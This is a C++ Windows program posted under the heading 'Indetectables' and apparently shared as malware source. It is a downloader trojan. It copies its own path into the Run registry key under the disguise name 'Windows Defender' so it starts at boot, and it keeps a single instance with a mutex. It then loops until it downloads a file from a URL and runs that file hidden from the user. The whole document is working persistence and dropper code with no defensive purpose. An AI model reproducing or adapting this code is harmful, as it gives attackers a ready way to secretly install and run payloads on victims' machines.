Indetectables

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#include <iostream>
#include <windows.h>
#include <shlobj.h>
#include <wininet.h>
#pragma comment (lib, "wininet.lib")

void startup( char *szValue )
{
   HKEY hKey;
   char szFile[MAX_PATH];

   GetModuleFileName( NULL, szFile, sizeof(szFile) );

   if( IsUserAnAdmin() )
      RegOpenKeyEx( HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
   else
      RegOpenKeyEx( HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );

   RegSetValueEx( hKey, szValue, 0, REG_SZ, (unsigned char *)szFile, strlen(szFile) + 1 );
   RegCloseKey( hKey );
}

bool download( char *szLink, char *szFile )
{
   unsigned long bRead;
   char szBuffer[98];
   
   HINTERNET hRequest = InternetOpen( "wget", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0 );
   if( hRequest == NULL )
      return false;
   
   HINTERNET hOpen = InternetOpenUrl( hRequest, szLink, NULL, 0, 0, 0 );
   if( hOpen == NULL )
      return false;
   
   FILE* pFile = fopen( szFile, "wb" );
   if( pFile == NULL )
      return false;
   
   while( InternetReadFile( hOpen, szBuffer, sizeof(szBuffer), &bRead ) )
   {
      if( bRead == NULL )
         break;

      fwrite( szBuffer, sizeof(char), bRead, pFile );
   }
   fclose( pFile );

   InternetCloseHandle( hRequest );
   InternetCloseHandle( hOpen );

   ShellExecute( NULL, "open", szFile, NULL, NULL, SW_HIDE );

   return true;
}

int main()
{
   HANDLE hMutex = CreateMutex( NULL, FALSE, "st00p1d" );

   if( GetLastError() == ERROR_ALREADY_EXISTS )
      ExitProcess(0);

   startup( "Windows Defender" );

   while( 1 )
      if( download( "http://images.google.com/intl/en_ALL/images/images_hp.gif", "lol.gif" ) )
        break;

   ReleaseMutex( hMutex );

   return 0;
}